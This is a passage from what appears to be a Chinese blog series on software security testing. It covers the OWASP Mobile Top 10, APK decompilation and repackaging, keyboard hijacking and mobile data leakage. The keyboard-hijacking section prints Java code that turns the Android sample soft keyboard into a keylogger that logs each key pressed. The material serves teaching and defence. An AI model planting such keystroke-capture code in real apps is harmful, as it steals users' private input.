軟體安全性測試(連載24)
- 2020 年 2 月 19 日
- 筆記
3 APP安全測試概要
2016 OWASPMobile TOP 10排名如下。
•不當的平台使用。
•不安全的數據存儲。
•不安全的通訊。
•不安全的身份驗證。
•加密不足。
•不安全的授權。
•客戶端程式碼品質。
•程式碼篡改。
•逆向工程。
•無關的功能。
這裡介紹一下「逆向工程-反編譯測試」「鍵盤劫持」和「資訊泄露」。
3.1逆向工程-反編譯測試
對於Android源程式碼是Java文件,正向編譯過程是把.java->.jar->.apk。而反編譯過程正好相反.apk ->.jar->.java。獲取了Java源程式碼,一來可以獲取程式碼資訊,二來可以在程式碼中加入惡意程式碼,比如資訊竊聽器,然後再編譯成apk文件(這就是所謂的二次編譯)。
為了隱藏Java程式碼,一般可以用程式碼混淆器對程式碼混淆後再編譯成APK文件。常用的Android程式碼混淆器包括AndroidSDK自帶的Proguard(第11.1節對Proguard工具進行了詳細地介紹)、網易易盾、360加固保等。程式碼混淆可以基於Java語言,但是更安全的是基於C語言。
有時候逆向工程.apk ->.jar->.java往往不太可靠,黑客會使用類似於apktool把.apk文件反編譯成smail文件,正如第11.4.2節對apktool工具介紹中所述,smail文件是一種基於Android的彙編語言,具有自己的語法規則。黑客根據smail的語法規則,把惡意程式碼注入在smail文件中,然後通過類似Smali2Java的工具把smail文件轉換成Java文件。然後再進行正向編譯形成.apk文件。混淆對二次編譯是沒有作用的,防止二次編譯的有效措施是使用加固軟體對程式碼進行加固處理。
蘋果也同樣存在反編譯、二次編譯的漏洞,同樣需要程式碼混淆和加固。
3.2鍵盤劫持
鍵盤劫持是程式記錄下每一個按鍵的鍵入順序從而獲取用戶隱私資訊的手段,下面程式碼利用android鍵盤鉤子達到按鍵劫持的目的。它獲取android SDK提供的com_example_android_softkeyboard例子程式,然後,修改OnPress()
public void onPress(int primaryCode) {
int iKeyboardResId;
int iCode;
String sLabel;
String name ;
LatinKeyboard CurrentKeyboard;
StringBuilder sb = new StringBuilder("");
//android.os.Debug.waitForDebugger();
if(mInputView == null)
return;
KeyboardcurrentKeyboard = mInputView.getKeyboard();
CurrentKeyboard = (LatinKeyboard)currentKeyboard;
iKeyboardResId = CurrentKeyboard.mXmlResId;
//Log.d("XL: onPress rid", String.valueOf(iKeyboardResId));
XmlResourceParser parser = getResources().getXml(iKeyboardResId);
inteventCode;
try
{
eventCode = parser.getEventType();
while (eventCode != XmlResourceParser.END_DOCUMENT)
{
//如果是開始標籤
if (eventCode == XmlResourceParser.START_TAG)
{
//獲取標籤名稱
name = parser.getName();
// Log.d("XL: onPress LableName", name);
//判斷標籤名稱是否等於key
if(name.equals("Key"))
{
//獲得標籤屬
sLabel = parser.getAttributeNamespace(0);
sLabel =parser.getAttributeValue(sLabel, "codes");
//iCode = parser.getAttributeIntValue(0, -1);
//Log.d("XL: onPress keyCode",String.valueOf(iCode));
//Log.d("XL: onPress keyCode primaryCode",String.valueOf(primaryCode));
iCode = Integer.parseInt(sLabel);
if( iCode == primaryCode)
{
sLabel =parser.getAttributeNamespace(0);
sLabel =parser.getAttributeValue(sLabel, "keyLabel");
//Log.d("XL: onPress keyCode",String.valueOf(iCode));
//Log.d("XL: onPress keylabel", sLabel);
sb.append("你按下的是: " + sLabel + "鍵" +"n");
break;
}
}
}
else if (eventCode == XmlPullParser.END_TAG)
{
}
else if (eventCode == XmlPullParser.TEXT)
{
}
//下一個標籤
eventCode = parser.next();
} //while
}
catch(XmlPullParserException e)
{
e.printStackTrace();
}
catch (IOExceptionse)
{
e.printStackTrace();
}
Log.d("[XL]", sb.toString());
}
防止鍵盤劫持的方法是使用安全鍵盤,這就是幾乎所有的銀行APP或網站都提供內置的軟鍵盤。
3.3資訊泄露
造成資訊泄露可能由以下原因造成。
•手機中了木馬。
•使用了黑客的釣魚WiFi,或者是自己的WiFi被別人蹭網。
•由於弱密碼,撞庫或服務商漏洞等各種方式使得手機服務帳號被盜。(撞庫指的是利用其它網站中的用戶名或密碼試圖登錄本網站且登錄成功)。
•擁有隱私許可權的APP廠商伺服器被黑客拖庫。
•通過偽基地台簡訊等途徑訪問了釣魚網站,導致重要的帳號密碼泄露。
•使用了惡意充電寶等黑客攻擊設備。
•GSM制式網路被黑客監聽簡訊。
•通過NFC卡泄露。
•廠商故意行為。
1. 近場通訊(Near Field Communication,簡稱NFC)
如果你的手機是Android手機,可以做個試驗,把Android手機的NFC功能打開,靠近一張帶晶片的銀行卡,你會發現銀行卡上的一些基本資訊在手機上被獲取。由於蘋果手機的NFC功能只有使用applepay的情況下才可以被自動打開,所以比較安全。現在發現一些不法分子用一個打開NFC功能的Android手機在公交站、公交車,地鐵等人口比較密集地區,在人員褲子口袋處亂碰以獲取被害人的銀行卡資訊。但是大家放心,NFC僅能獲取銀行卡中的一些基本資訊,而支付是實現不了的。
2. iPhone中的重要地點
在蘋果手機中,點擊設置->隱私->定位服務->系統服務->重要地點->輸入iPhone密碼就可以獲得你最近去過的地方。如圖4-55所示。

圖4-55 iPhone中的重要地點
蘋果公司一直不承認這個功能暴露了用戶的隱私,如果你不願意讓別人獲取到你去過的地方的資訊,請關閉這個功能。
3. Android應用數據備份
在Android的AndroidManifest.xml中。
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme"
android:allowBackup="true"
>
當allowBackup標誌為true時,用戶可通過adb backup來進行對應用數據的備份,在無root的情況下可以導出應用中存儲的所有數據,造成用戶數據的嚴重泄露。